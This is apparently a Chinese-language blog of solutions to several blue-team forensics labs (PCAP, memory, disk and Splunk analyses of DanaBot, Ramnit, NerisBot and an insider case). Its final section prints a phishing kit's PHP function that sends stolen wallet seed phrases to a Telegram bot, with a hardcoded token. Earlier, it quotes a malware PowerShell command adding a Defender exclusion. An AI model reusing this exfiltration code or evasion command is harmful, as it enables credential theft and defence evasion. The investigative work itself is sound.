Q8:识别恶意软件中使用的加密方法对于理解其用于绕过防御机制并完全执行其功能的技术至关重要。 ffmpeg.dll 文件使用了哪种加密算法?

加密是一种用于保护数据安全的过程,它将数据转换为不可读的格式,只有使用特定的解密密钥才能将其还原。在恶意软件中,加密通常被用来混淆恶意代码、隐藏有效载荷以及保护受感染主机与攻击者命令与控制(C2)服务器之间的通信通道。这种技术使恶意软件能够躲避安全工具的检测,从而更难对其进行分析和逆向工程。加密数据还可用于窃取敏感信息,同时避开网络防御的拦截。

ffmpeg.dll 的报告中提到其使用的技术——防御规避(Defense Evasion)

这模块中有详细介绍其使用的加密算法:

image-20250223171451050

最主要的加密算法为RC4

答案:RC4

Q9:作为分析员,您已经识别出事件中涉及的一些 TTP(战术、技术和程序),但确定负责此攻击的APT(高级持续性威胁)组将帮助您搜索他们常用的 TTP,并发现其他潜在的恶意活动。这个攻击是由哪个组织负责的?

为了确定此次攻击的威胁行为者,调查首先通过分析整个事件中所使用的战术、技术和程序(TTP)展开。这些 TTPs 代表了攻击者在攻击过程中所采用的方法。战术定义了攻击者的攻击目标,例如持久性或凭证访问,而技术则描述了实现这些目标的方式,比如动态链接库劫持或进程注入。另一方面,程序则详细说明了执行这些技术的具体步骤。识别这些模式有助于通过诸如 MITRE ATT&CK 等框架将攻击行为与已知的攻击者进行关联,从而深入了解其动机和能力。

接下来的重点转向了解高级持续性威胁(APT),这些威胁来自技术高超且资金雄厚的对手,通常由国家资助。这些组织擅长长期且有针对性的攻击,利用高级工具、零日漏洞和隐蔽技术来侵入网络、保持持久性并达成战略目标。由于 APT 专注于间谍活动、金融盗窃和关键基础设施破坏,因此在调查期间识别和缓解这些威胁是首要任务。

通过分析此次事件中的攻击链和所使用的工具,包括恶意动态链接库(DLL)、用于混淆的 RC4 加密以及针对 VMware 环境的反分析技术,可以明确此次攻击的责任威胁组织是“拉撒路”组织。

要从搜索到的安全攻击行为的报告中找到攻击组织:

image-20250223172216721

image-20250223172205719

答案:lazarus

DanaBot Lab(流量分析)

安全运营中心(SOC)团队在网络流量中检测到可疑活动,发现有一台机器已被攻破。公司的敏感信息已被窃取。您的任务是利用网络捕获(PCAP)文件和威胁情报来调查此次事件,并确定入侵是如何发生的。

Q1:攻击者在初始访问期间使用的是哪个 IP 地址?

优先分析流量包的会话:

image-20250224081111331

按大小排序逐个分析:

188.114.97.3向服务器10.2.14.101发送了resouces.dll

image-20250224081259655

看起来攻击者已经攻击成功了,已经在给服务器任意上传文件了。

并且看返回包有一些没见过的返回头,进一步分析:

HTTP/1.1 200 OK
Date: Wed, 14 Feb 2024 16:26:56 GMT
Content-Type: application/octet-stream
Content-Length: 11922432
Connection: keep-alive
Last-Modified: Wed, 14 Feb 2024 12:55:09 GMT
ETag: "65ccb82d-b5ec00"
Accept-Ranges: bytes
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FxVk7JeUVyTzdc%2B2UKfGrycDSQO8X1AUkabTFIjgwPjuapsJ5kU7iZ8stcTiqUyDv6HL3kcDjtQMrj5RJxUeHjoy1uG7pVoDh2E1%2FCUT%2FSwHodNH4exC95vzp2nMCb0%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8556acf38cd75c6e-FRA
alt-svc: h3=":443"; ma=86400

ETag: "65ccb82d-b5ec00"ETag(实体标签)是一个标识文件内容的标记。当文件内容发生变化时,ETag 会变化。客户端可以使用 ETag 来检查文件是否被修改过,通常用于缓存控制和条件请求。

Accept-Ranges: bytesAccept-Ranges 表示服务器支持部分内容请求。bytes 表示服务器支持基于字节的范围请求,也就是说,客户端可以请求文件的某一部分,而不需要重新下载整个文件。

CF-Cache-Status: DYNAMICCF-Cache-Status 是 Cloudflare 使用的缓存状态标头。DYNAMIC 表示该资源是动态生成的,不会缓存(或者只是临时缓存)。通常用于动态内容,无法通过静态缓存来处理。

Report-ToNEL:这些字段与 网络错误日志(Network Error Logging,NEL) 相关,旨在报告网络问题(如 4xx、5xx 错误等)。这些字段用于将错误报告发送到指定的端点。

Report-To 表示要报告的 URL,NEL 定义了如何处理成功的报告和错误报告的频率。success_fraction: 0 表示错误报告的成功率为 0%(即没有成功报告的错误)。max_age 指定了该配置的最大有效时间,这里是 604800 秒,即 7 天。

Server: cloudflareServer 表示响应由 Cloudflare 服务器提供,这意味着该请求可能经过 Cloudflare 的代理或 CDN 网络。

CF-RAY: 8556acf38cd75c6e-FRACF-RAY 是 Cloudflare 的一个唯一标识符,标识这个特定的请求在 Cloudflare 网络中的路径或数据中心。FRA 表示这个请求通过的是位于 法兰克福 的数据中心。

alt-svc: h3=":443"; ma=86400alt-svc 表示支持 HTTP/3(h3)协议,:443 表示在标准 HTTPS 端口(443)上提供 HTTP/3 服务。ma=86400 表示该设置在 86400秒(即 24 小时)内有效。

我们继续向前分析TCP流:

image-20250224082846536

看来一开始就被login.php登录界面给钓鱼了,这个钓鱼的IP就是攻击者在初始访问期间使用的IP

答案:62.173.142.148

Q2:用于初始访问的恶意文件叫什么名字?

根据上题发现的返回包中我们可以发现钓鱼网站返回给客户端中的Content-Disposition attachment附件中就是.js恶意文件

答案:allegato_708.js

Q3:用于初始访问的恶意文件的 SHA-256 哈希值是什么?

我们使用导出功能将恶意文件导出并进行计算即可得到:

image-20250224085116862

image-20250224085921815

答案:847b4ad90b1daba2d9117a8e05776f3f902dda593fb1252289538acf476c4268

Q4:是通过哪个进程来执行恶意文件的?

.js文件的恶意文件报告中有提到,它会创建一个名为wscript.exe的进程

image-20250224091839290

wscript.exe 是 Windows 系统中用来执行脚本文件(如 .vbs.js 文件)的应用程序。它是 Windows 脚本宿主环境的一部分,允许用户通过脚本自动化任务、操作文件、访问 Windows API 等。

答案:wscript.exe

Q5:攻击者所使用的第二个恶意文件的文件扩展名是什么?

继续分析TCP流,唯有从Q1分析得到的resources.dll非常可疑,我们将上一题得到的.js文件放到virustotal中分析也发现有请求这个恶意文件:

image-20250224090619358

答案:resources.dll

Q6:第二个恶意文件的 MD5 哈希值是什么?

导出并计算(wireshark提取大文件会有点卡):

image-20250224093518728

答案:e758e07113016aca55d9eda2b0ffeebe

补充:流量分析工具Zui

我向来喜欢尝试新事物,这里探索到了新的数据分析工具:Zui(项目地址:brimdata/zui: Zui is a powerful desktop application for exploring and working with data. The official front-end to the Zed lake.

将流量包导入,可以发现:

image-20250224083648157

我们先对警报了的流量进行筛选,在最上方输入筛选语句event_type=="alert"

image-20250224093640248

非常直观。

Volatility Traces Lab(内存取证)

2024 年 5 月 2 日,一家跨国公司发现其关键系统中存在可疑的 PowerShell 进程,这表明可能有恶意软件入侵。这种活动对敏感数据和运营完整性构成威胁。

您已获得受影响系统的一个内存转储( memory.dmp )。您的任务是分析该转储,追踪恶意软件的行为,揭露其规避技术,并了解其持久化机制。

要VIP,因此看着网上的WP来推测其内容

原文地址:[CyberDefenders-Writeup ] Volatility Traces | by Mustafaalzaareer | Feb, 2025 | Medium

Q1:识别父进程揭示了来源和潜在的其他恶意活动。产生两个恶意PowerShell进程的可疑进程的名字是什么?

我们可以在volatile中使用pslist来列出所有进程。

python3 vol.py -f memory.dmp windows.pslist

在使用pslist插件后,我们得到了这张照片,两个powershell.exe进程的父PID是4596,但pslist没有显示任何PID为4596的进程,所以用psscan扫描内存中的所有进程

img

python3 vol.py -f memory.dmp windows.psscan | grep "4596"

img

psscan插件给了我们进程名称的一部分(InvoiceCheckLi),但我们想要全名,所以我决定使用cmdline并搜索任何与可疑进程相关的命令:

python3 vol.py -f memory.dmp windows.cmdline | grep "InvoiceCheckLi"

输出

6980    powershell.exe   "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Lee\AppData\Local\Temp\InvoiceCheckList.exe"

答案:InvoiceCheckList.exe

Q2:通过确定恶意软件利用哪些可执行文件来确保其持久性,我们可以为根除阶段制定策略。哪个可执行文件负责恶意软件的持久性?

恶意软件持久化技术使它即使在系统重启或用户注销后也能保持活跃。一些常见的方法包括计划任务、Windows服务和注册表修改。

我们可以使用psscan扫描与可疑进程相关的任何进程。

./vol.py -f memory.dmp windows.psscan | grep "4596"

img

我们发现另外两个进程schtasks.exeRegSvcs.exe

schtasks.exe(计划任务管理器)

合法用途
  • 用于创建、修改、删除或查询 Windows 计划任务(定时任务)。
  • 系统管理员常用它配置自动化任务(如定期清理日志、备份等)。
  • 路径通常为 C:\Windows\System32\schtasks.exe,且应有微软数字签名。
恶意行为可能性
  • 恶意软件可能利用它创建 持久化任务(如定期启动恶意程序)。

RegSvcs.exe(.NET 服务安装工具)

合法用途
  • 用于注册 .NET 服务组件(将 DLL 安装为系统服务)。
  • 属于微软 .NET Framework 工具,路径通常为 C:\Windows\Microsoft.NET\Framework\vX.X.XXXXX\RegSvcs.exe,应有微软签名。
恶意行为可能性
  • 攻击者可能滥用它注册 恶意服务(如后门、C2 通信服务)。

答案:schtasks.exe

Q3:理解子进程可以揭示事件中潜在的恶意行为。除了PowerShell进程之外,还识别出了来自同一父进程的哪些活动的可疑进程?

由Q2可知可疑进程为RegSvcs.exe

答案:RegSvcs.exe

Q4:分析恶意进程参数可以揭示其意图,例如利用隐藏和隐蔽技术进行防御规避。那么,恶意软件通常使用哪个 PowerShell cmdlet 来实现防御规避?

Cmdlet(发音为 "command-let")PowerShell 中的一种轻量级命令,专门用于执行特定的任务。它们与传统的命令行工具不同,cmdlet 运行在 PowerShell 运行时环境中,并且通常是 .NET 语言(如 C#)编写的。

Bash 命令通常返回纯文本(字符串)。

Cmdlet返回的是对象,可以直接操作属性(例如 Get-Process 返回进程对象,你可以访问 NameID 等字段)。

我们可以使用cmdline插件来分析命令行参数

./vol.py -f memory.dmp windows.cmdline

img

命令中的cmdlet为Add-MpPreference

Add-MpPreferenceWindows Defender(Microsoft Defender) 相关的 PowerShell Cmdlet,用于修改 Windows Defender 设置,特别是添加排除项、配置扫描行为等。

答案:Add-MpPreference

Q5:识别规避检测的可执行程序对于监控其有害和恶意的系统活动至关重要。哪两个应用程序被恶意软件排除在之前修改过的应用程序设置之外?

cmdlet Add-MpPreferenceInvoiceCheckList.exeHcdmIYYf.exe 添加到排除路径中,如Q4中检索到的命令行历史所示。

Q6:与PowerShell命令相关联的MITRE子技术ID是什么,这些命令旨在禁用或修改反病毒设置以逃避事件分析期间的检测?

修改Windows防御设置以逃避检测:T1562.001

Q7:确定用户帐户提供了有关其权限的宝贵信息,无论是基于域的还是本地的,以及其参与恶意活动的潜在可能性。哪个用户帐户被链接到恶意进程?

由Q4的分析可知Users为Lee

答案:Lee

Insider Lab(磁盘分析)

凯伦在加入“TAAUSAI”公司后,开始在公司内部从事非法活动。“TAAUSAI”聘请您作为社会分析师来启动对此案的调查。

您获取了一个磁盘映像,并发现凯伦的机器上使用的是 Linux 操作系统。分析凯伦电脑的磁盘映像,并回答所提供的问题。

Q1:这台机器上使用的是哪种 Linux 发行版?

要确定这台机器上使用的 Linux 发行版,我们首先使用 FTK Imager 查看磁盘映像中捕获的文件系统。加载磁盘映像后,我们浏览目录结构以找到可以揭示系统信息的日志或配置文件。

一个不错的起点是 /var/log/ 目录,该目录通常包含与系统活动和安装详情相关的日志。

在这种情况下,我们关注的是在 /var/log/installer/ 目录中找到的 syslog 文件。打开此文件会显示详细的日志,包括内核初始化消息和启动参数。此类日志通常会提供有关操作系统版本和发行版的信息,因为在系统启动期间会记录内核版本和构建元数据。

image-20250226125935585

Linux version 4.13.0-kali1-amd64 (devel@kali.org) (gcc version 6.4.0 20170920 (Debian 6.4.0-7)) #1 SMP Debian 4.13.4-1kali1 (2017-10-03)

分析此输出,我们确认操作系统为 Kali Linux ,这是一个基于 Debian 的发行版,专为安全测试和渗透测试而设计。内核版本为 4.13.0-kali1-amd64 ,使用 GCC 6.4.0 编译。对 kali.org 的提及证实了该发行版为 Kali Linux。

/boot目录中也有,其中存放的是与启动过程相关的重要文件。它包含了启动加载器(如 GRUB)以及内核文件和其他启动时所需要的文件。

image-20250226130034066

答案:kali

Q2:Apache 的 access.log 文件的 MD5 哈希值是什么?

Apache 的 access.log 文件是 Apache HTTP 服务器的一个重要组成部分,它记录了向服务器发出的所有 HTTP 请求。该日志会记录诸如客户端的 IP 地址、时间戳、请求的 URL、HTTP 方法、响应代码以及用户代理信息等详细内容。此日志对于监控服务器活动、检测恶意请求以及识别潜在的安全事件至关重要。在内存调查中,查看此日志可以揭示未经授权的访问尝试或表明恶意行为的模式。

Apache 日志通常位于 /var/log/apache2/

使用 FTK Imager,我们可以计算磁盘映像中文件的 MD5 哈希值。

image-20250226131323347

image-20250226131424988

答案:d41d8cd98f00b204e9800998ecf8427e

Q3:我们怀疑凯伦下载了一个凭证转储工具。下载的文件叫什么名字?

Credential dumping 是攻击者用来从受感染的系统中提取登录凭证(如用户名和密码)的一种技术。这些凭证通常由操作系统存储在内存、安全数据库或缓存位置。攻击者利用这种方法来提升权限、在网络中横向移动或未经授权访问敏感资源。 Credential dumping 是一个重大的安全威胁,因为它允许攻击者冒充合法用户、绕过身份验证机制,并在不被察觉的情况下进一步渗透系统。

我们到 /root/Downloads/ 目录看凯伦下载的文件:

image-20250226131938863

Mimikatz 是一种广泛使用的后渗透工具,旨在从系统内存中提取明文密码、哈希值、个人识别码(PIN)和 Kerberos 门票。它还能执行哈希传递攻击、操纵身份验证令牌以及导出证书,使其成为窃取凭证的强大工具。尽管 Mimikatz 常被渗透测试人员用于合法的安全评估,但它同样被恶意行为者利用来入侵系统并窃取敏感数据。

答案:mimikatz_trunk.zip

Q4:凯伦创建了一个超级机密文件。其绝对路径是什么?

当用户创建文件和目录时,他们的命令通常会被记录下来。

要确定超级机密文件的绝对路径,我们需要调查系统中存储的用户活动日志。在 Linux 系统中,此类分析最有价值的证据之一是 .bash_history 文件。该文件位于每个用户的主目录中,记录了在终端中执行的所有命令。它在取证调查中尤为重要,因为它提供了按时间顺序排列的命令记录,能够揭示诸如文件创建、数据操作或试图掩盖行踪等活动。对于 root 用户来说, .bash_history 文件的意义更为重大,因为在此账户下执行的命令具有管理员权限和对系统的无限制访问。

image-20250226132352229

我们可以发现系统曾经执行过touch snky创建一个snky的文件并写入/root/Desktop/SuperSecretFile.txt文件中

答案:/root/Desktop/SuperSecretFile.txt

Q5:在执行过程中,哪个程序使用了文件 didyouthinkwedmakeiteasy.jpg ?

继续查看存储在 .bash_history 文件中的命令历史记录:

image-20250226132957468

此命令表明程序 binwalk 被用于分析文件 didyouthinkwedmakeiteasy.jpg。 Binwalk 是一款专为分析二进制文件和固件映像而设计的取证工具。它被广泛用于从二进制结构中提取嵌入式文件、隐藏数据和压缩存档。安全研究人员和取证分析师依靠 binwalk 来检查映像、可执行文件和其他二进制数据中是否存在隐藏的有效负载或嵌入式代码。

在这种情况下,使用 binwalk 表明文件 didyouthinkwedmakeiteasy.jpg 很有可能被检查过是否存在隐藏内容,比如隐写数据、嵌入文件或编码脚本。 Binwalk 能够在二进制数据中识别模式和文件签名,这使其成为发现隐藏信息的强大工具。鉴于调查背景,出现此命令表明该图像文件可能被用于隐藏敏感或恶意数据,需要进一步分析。

答案:binwalk

Q6:凯伦创建的清单上的第三个目标是什么?

我们在/root/Desktop中发现了checklist文件:

image-20250226142908783

答案:Profit

Q7:Apache 运行了多少次?

为了知道Apache运行了多少次,我们观察从Q2找到的apache日志/var/log/apache2路径

image-20250226181859148

access.log:此文件记录了对服务器发起的所有 HTTP 请求,包括 IP 地址、请求资源、HTTP 方法和时间戳等详细信息。它是分析网络流量、识别可疑活动或未经授权的访问尝试的关键来源。

error.log:此文件记录服务器遇到的错误,例如配置问题、请求失败和服务器崩溃。它有助于诊断服务器配置问题或识别利用漏洞的尝试。

other_vhosts_access.log:此文件记录了服务器上配置的虚拟主机的特定 HTTP 请求。虚拟主机允许单个 Apache 实例托管多个网站,每个网站都有自己的配置和日志记录要求。

/var/log/apache2/ 中的所有日志文件大小均为 0 字节,这表明此系统从未运行过 Apache。

答案:0

Q8:这台机器曾被用于对另一台机器发起攻击。哪个文件包含这方面的证据?

一番搜索,在根目录发现了一张名为irZLAohL.jpeg的图片:

image-20250226191550445

irZLAohL

由其中的CMD窗口中可以发现正在运行 C:\Users\Bob\AppData\Local\Temp\flightSim

从终端输出来看,flightSim 是一个用于生成恶意网络流量以模拟攻击的工具。其主要目的是通过测试防火墙和入侵检测系统等安全监控系统检测模拟威胁的能力,来评估这些系统的有效性。输出中看到的 flightSim.exe run 命令用于启动这些攻击模拟,其中包括端口扫描、暴力破解攻击和 DNS 隧道尝试等场景。

答案:irZLAohL.jpeg

Q9:人们认为,凯伦通过“Documents”目录中的一个 bash 脚本在嘲弄一位计算机专家同行。凯伦嘲弄的那位专家是谁?

我们进入/root/Documents目录下可以看到:

image-20250226212809957

找了半天没找到嘲讽句子,看了答案说是Young……

image-20250226213049210

答案:Young

Q10:11 点 26 分,有一个用户多次执行了 su 命令以获取 root 权限。这个用户是谁?

要确定在 11:26 多次切换到 root 用户(使用 su 命令)的是谁,我们需要分析位于 /var/log/ 目录下的 auth.log 文件的内容。 auth.log 文件是 Linux 系统中的一个日志文件,记录了与身份验证相关的事件,例如用户登录、权限提升和 SSH 连接。它提供了会话活动的详细日志,包括成功的和失败的登录尝试、 sudosu 命令的使用以及任何身份验证错误。

image-20250226214202186

可以发现用户KarenHacker在11:26使用 root 权限切换到 postgres 用户

在 Linux 中, su 命令用于切换用户,通常是为了临时提升权限。

日志还记录了 postgres 用户的一系列会话打开和关闭的情况,这表明 KarenHacker 可能与数据库服务进行了交互或试图修改数据库配置。由于 postgres 账户通常与 PostgreSQL 数据库管理相关联,这种活动可能意味着试图操纵数据、提取信息或配置未经授权的访问。

答案:postgres(?)

Q11:根据 bash 命令历史记录,当前的工作目录是什么?

由Q4我们知道为了查看 bash 命令历史记录,我们观察.bash_history 文件

image-20250226215201356

可以推测当前目录为/root/Documents/myfirsthack/

答案:/root/Documents/myfirsthack/

NerisBot Lab(威胁狩猎)

在一所大学的网络环境中检测到了异常的网络活动,这表明可能存在恶意意图。这些异常情况是在六个小时前被发现的,表明网络中存在命令与控制(C2)通信以及其他有害行为。

您的团队已接到任务,要对近期的网络流量日志进行分析,以调查这些活动的范围和影响。此次调查旨在识别指挥控制服务器并揭露恶意交互行为。

要VIP,原文地址:Nerisbot | Eugene MooreNerisBot Lab | FaresMorcy

Q1:您能否确定最初未经授权访问的源 IP 地址?

通过检查各个字段,我们可以确定这台机器上安装了 Suricata。由于 Suricata 将网络事件存储在 eve.json 文件中,我们可以缩小搜索范围以找到相关的 IP 地址。

Suricata

Suricata 是一款开源、高性能的网络安全监控工具,主要被设计为入侵检测系统(IDS)*和*入侵防御系统(IPS),同时也支持网络流量分析、威胁检测和日志生成等功能。它由开放信息安全基金会(OISF)主导开发,旨在提供高效、灵活且可扩展的网络安全解决方案。

为了方便分析,我找到的WP都在使用splunk enterprise工具进行数据可视化得到的,能够快捷确定攻击来源。

Splunk 是一款强大的 日志分析、搜索、可视化和监控工具,主要用于处理 机器数据,例如 服务器日志、安全事件、应用日志、网络流量、云日志 等。它可以帮助用户快速检索、分析并实时监控 IT 系统和业务数据,从而提升运维效率和安全性。

也就是说靶机中安装了Splunk即可用它来进行分析

image-20250302135425432

在Search & Reporting中筛选:

eventtype="suricata_eve_ids_attack"

这个条件筛选出所有标记为 suricata_eve_ids_attack 类型的事件数据。这些数据通常是 Suricata 的入侵检测系统(IDS)检测到的攻击事件,包含了攻击的相关信息,如攻击的性质、目标、源、时间戳等。

q1

images

使用其他筛选语句

index=* sourcetype=suricata
| stats values(dest_ip) values(http.hostname) values(http.url) by src_ip

index=\* sourcetype=suricata

  • index=*: 这表示查询所有索引的数据。
  • sourcetype=suricata: 这是指定查询的数据源类型为 suricata,即只从 Suricata 生成的日志数据中提取信息。

| stats values(dest_ip) values(http.hostname) values(http.url) by src_ip

  • | stats: 这是用来进行统计和聚合的命令。
  • values(dest_ip): 统计每个源 IP (src_ip) 对应的所有不同的目标 IP (dest_ip)。
  • values(http.hostname): 统计每个源 IP (src_ip) 对应的所有不同的 HTTP 主机名 (http.hostname)。
  • values(http.url): 统计每个源 IP (src_ip) 对应的所有不同的 HTTP URL (http.url)。
  • by src_ip: 按照 源 IP (src_ip) 进行分组,统计每个源 IP 所对应的目标 IP、HTTP 主机名和 URL。

image (2)

答案:195.88.191.59

Q2:攻击者服务器的域名是什么?

由Q1可知攻击者服务器域名是nocomcom.com

答案:nocomcom.com

Q3.:此次入侵事件中被攻击的系统的 IP 地址是什么?

由Q1可知靶机IP地址为147.32.84.165

也可以查找:

event_type:alert

在 Suricata 的日志中,event_type:alert 会过滤出所有的警报事件,这些警报可能表示一个网络攻击、入侵尝试或某种安全异常。

q3

答案:147.32.84.165

Q4:确定下载到受感染主机的所有文件,其中有多少文件可能具有恶意?

由Q1可知下载了5个文件

使用筛选语句

eventtype="suricata_eve_ids_attack" dest="nocomcom.com"

其中 files{}.filename 字段中也能看到:

images

按照deepseek的说法还可以寻找:

alert.category:"Malware"

alert.category:"Malware" 这个条件用于筛选出所有属于 恶意软件 类别的警报事件。这些警报通常表示系统检测到恶意软件活动,如尝试下载、传播或执行恶意代码等。

答案:5

Q5: 那个伪装成 txt 文件的恶意文件的 sha256 哈希值是什么?

其中最关键的一点是文件的下载时间,这能大大缩小我们的搜索范围。

source="/home/ubuntu/suricata/eve.json" eventtype="suricata_eve_ids_attack" dest="nocomcom.com" "files{}.filename"="/kx4.txt"

我们发现该文件于 2011 年 8 月 10 日上午 10 点 10 分左右被下载(该文件被下载了两次,但我们以 10 点 10 分为准)。

images

这个时间戳至关重要,因为它有助于我们确定我们的服务器是否有任何跟踪文件哈希值的检测系统。虽然可能没有直接的 SHA256 哈希值字段,但我们仍可查找 SHA1 哈希值。

服务器上安装了 Zeek,它会在 bro/files.log 中记录文件。通过使用下载时间、Zeek 源类型(zeek:files)以及攻击者的 IP 地址,我们找到了一个事件,该事件提供了 SHA1 哈希值。

Zeek

Zeek(原名 Bro)是一款开源的网络流量分析框架,专注于深度协议解析行为监控,被广泛用于网络安全监控、威胁检测和网络取证。与 Suricata 等基于规则的实时检测工具不同,Zeek 的核心优势在于将网络流量转化为结构化、语义化的高级日志,并支持通过脚本扩展分析逻辑,适合复杂威胁分析和长期安全研究。

Zeek 是网络流量分析的“显微镜”,擅长将原始流量转化为高价值的行为日志,适用于需要深度洞察网络行为的场景(如高级威胁检测、取证分析)。与 Suricata 的实时防护形成互补,两者结合可构建更全面的安全监控体系。如果你需要从海量流量中提取可操作的上下文信息,Zeek 是不可或缺的工具。

在 virustotal.com 上使用此 SHA1 哈希值,我们获得了有关该文件的更多信息,包括其 SHA256 哈希值。

image (3)

答案:6fbc4d506f4d4e0a64ca09fd826408d3103c1a258c370553583a07a4cb9a6530

Ramnit Lab(内存取证)

我们的入侵检测系统已向我们发出警报,指出一台工作站出现可疑行为,很可能遭到恶意软件入侵。已对该系统进行了内存转储以供分析。您的任务是分析此转储文件,追踪恶意软件的行为,并报告关键发现。

题目给出了.dmp内存转储文件,这次我将使用lovelymem进行做题,直接导入软件能够自动执行许多操作:

image-20250228132807285

项目地址:Tokeii0/LovelyMem: 基于Memprocfs和Volatility的可视化内存取证工具

Q1:负责可疑活动的进程叫什么名字?

首先列出所有进程,可以直接用lovelymem查看其进程信息,点击即自动执行命令:

image-20250228133013849

./vol.py -f memory.dmp --offline -r csv windows.pslist

image-20250228132828858

没有什么可以注意的,我们进行恶意进程内存注入检测:

./vol.py -f memory.dmp --offline -r csv windows.malfind

image-20250228133031362

image-20250228133207038

有些部分列表不方便查看,可以保存文件导出分析:

image-20250228134207105

没有发现可疑的反汇编代码

再分析网络行为:

./vol.py -f memory.dmp windows.netscan

image-20250228134244576

image-20250228135132815

wininit.exe

Windows 初始化进程,负责启动关键系统服务(如 lsass.exeservices.exe)。

正常:不主动外联,仅在本地监听端口(如数据中的 0.0.0.0:49665)。

异常:若发现外联互联网 IP,可能是恶意服务注入

svchost.exe

通用服务宿主进程,托管多个系统服务(如 Windows Update、时间同步等)。

正常:

  • 连接微软服务器(如 20.199.120.85:443 → Azure IP)
  • 时间同步(time.windows.com:123

异常:

  • 连接非微软 IP
  • 高频短时连接(如同一端口多次连接)

spoolsv.exe

打印后台处理服务,管理打印任务。

正常:仅在网络打印时连接内部打印机 IP。

异常:外联至公网 IP 或非常用端口(如 5202)→ 打印漏洞利用(如 CVE-2022-22718)。

services.exe

服务控制管理器(SCM),管理所有 Windows 服务的生命周期。

正常:不主动外联,仅监听本地服务端口(如 0.0.0.0:49669

异常:外联至公网 IP(如 2.18.162.9:443)可能表明恶意服务被加载

lsass.exe

本地安全认证子系统服务(Local Security Authority),处理用户登录和凭证管理。

正常:仅在域环境中连接域控制器(如 LDAP:389LDAPS:636)。

异常:若外联至公网 IP(如您数据中的 41.75.84.12:80),高度可疑(可能被 Mimikatz 类工具利用)。

WWAHost.exe

Windows Web 应用程序宿主进程,用于运行 UWP 应用的 Web 内容。

正常:加载微软商店应用或 Edge 扩展的 Web 内容。

异常:连接未知 IP、多连接快速关闭(CLOSE_WAIT 状态)→ C2 心跳或数据外泄。

System

内核模式系统进程(PID 4),管理硬件和驱动程序。

正常:监听本地端口(如 0.0.0.0:445 → SMB 服务)。

异常:外联至公网 IP → 内核级后门(如 Rootkit)。

SearchApp.exe

Windows 搜索组件,提供文件内容索引。

正常:不主动外联

异常:连接公网 IP(如 2.18.40.152:443)→ 搜索服务被劫持(如 CVE-2023-23376)。

MicrosoftEdgeUChromeSetup.ex进程名不完整,可能是内存截断,源程序名应为:MicrosoftEdgeUpdate.exeChromeSetup.exe

它们两个的外联情况:

image-20250228144300290

ChromeSetup.ex目标端口5202常用于自定义协议(非标准HTTP/HTTPS),存在异常。

答案:ChromeSetup.exe

Q2:恶意进程的可执行文件的确切路径是什么?

为了找到可执行文件的确切路径,可以使用文件对象扫描功能:

./vol.py -f memory.dmp windows.filescan | grep "ChromeSetup"

image-20250228145520697

image-20250228145812754

用lovelymem可以搜索,没有的话就加上过滤语句

答案:C:\Users\alex\Downloads\ChromeSetup.exe

Q3:识别网络连接对于理解恶意软件的通信策略至关重要。恶意软件试图连接到哪个 IP 地址?

由Q1可知,ChromeSetup.ex连接到58.64.204.181

答案:58.64.204.181

Q4:要确定攻击的具体地理来源,与恶意软件通信的 IP 地址关联的是哪个城市?

IP定位:

image-20250228153455553

答案:Hong Kong

Q5:哈希值作为文件的唯一标识符,有助于在不同机器上检测相似的威胁。该恶意软件可执行文件的 SHA1 哈希值是什么?

将恶意软件dump出来:

./vol.py -f memory.dmp windows.dumpfile -pid 4628

image-20250228180507081

在文件槽(output文件夹下)可以看到导出的文件:

image-20250228180544263

放在VirusTotal中发现其SHA1哈希值

image-20250228191721145

答案:280c9d36039f9432433893dee6126d72b9112ad2

Q6:分析恶意软件的开发时间线可以为其部署情况提供线索。该恶意软件的编译时间戳是什么?

继续看报告:

image-20250228191812929

答案:2019-12-01 08:36

Q7:识别与此恶意软件相关的域名对于阻止未来的恶意通信以及检测我们网络内与这些域名的任何正在进行的交互至关重要。您能否提供与该恶意软件相关的域名?

image-20250228193442840

答案:dnsnb8.net

GrabThePhisher Lab(社会工程学)

最近,一个去中心化金融(DeFi)平台收到了多起用户投诉,称其资金被未经授权地转走。经过内存审查发现,有一个冒充合法的 PancakeSwap 交易所的钓鱼网站,诱骗受害者输入其钱包助记词。该钓鱼工具包托管在一台被入侵的服务器上,并通过一个 Telegram 机器人窃取了用户凭证。

您的任务是对网络钓鱼基础设施进行威胁情报分析,识别入侵指标(IoCs),并追踪攻击者的在线存在,包括别名和 Telegram 标识符,以了解他们的策略、技术和程序(TTPs)。

Q1:哪个钱包被询问助记词了?

该实验专注于分析一个旨在冒充去中心化交易平台以窃取敏感凭证(如登录凭证)的工具包。该工具包托管在一台被入侵的服务器上,包含多种文件和脚本,为调查人员提供了有关攻击者方法的见解。通过剖析该工具包,调查人员可以发现用于数据外泄的技术,例如将凭证实时传输给一个僵尸网络主机,以及进行本地记录以作备份。

钱包是在区块链网络上管理、存储和交易数字资产的重要工具。这些钱包安全地存储私钥,使用户能够签署交易并与去中心化应用程序(DApps)进行交互。其中最受欢迎的钱包之一是 MetaMask,它被广泛用于管理基于以太坊的资产和代币。MetaMask 通过提供浏览器扩展程序和移动应用程序简化了与区块链网络和 DApps 的交互,确保了友好的用户体验,同时保护了诸如私钥和助记词等关键数据的安全。

在这种情况下,一个网络钓鱼工具包被设计用来冒充合法服务,并针对毫无戒心的加密货币用户。该网络钓鱼工具包包含一个专门针对 MetaMask 的目录,这清楚地表明此次攻击的目标是使用这一特定钱包的用户。

image-20250301114219060

攻击者精心设计了一个恶意网页,以恢复账户访问为幌子,诱使用户输入敏感信息,比如他们的 MetaMask 钱包的助记词。

image-20250301114734458

image-20250301114805811

此脚本旨在处理诸如“导入账户密语”之类的输入字段,并通过预定义的机制将捕获的信息发送到外部服务器。在这种情况下,被盗数据通过 API 发送给一个 Telegram 机器人,同时也会在被攻陷的服务器上本地记录。这种双重方法确保了攻击者能够实时访问被盗的凭证,同时还能保留数据副本以供进一步利用。

function sendTel($message) {
    $id = "5442785564";           // 硬编码的Telegram聊天ID(需改为环境变量)
    $token = "5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10"; // 硬编码的Bot Token(需立即撤销!)
    // 构造Telegram API请求URL(GET方式)
    $filename = "https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$id."&text=".urlencode($message)."&parse_mode=html";
    // 发送请求(无错误处理,失败时静默)
    file_get_contents($filename); 
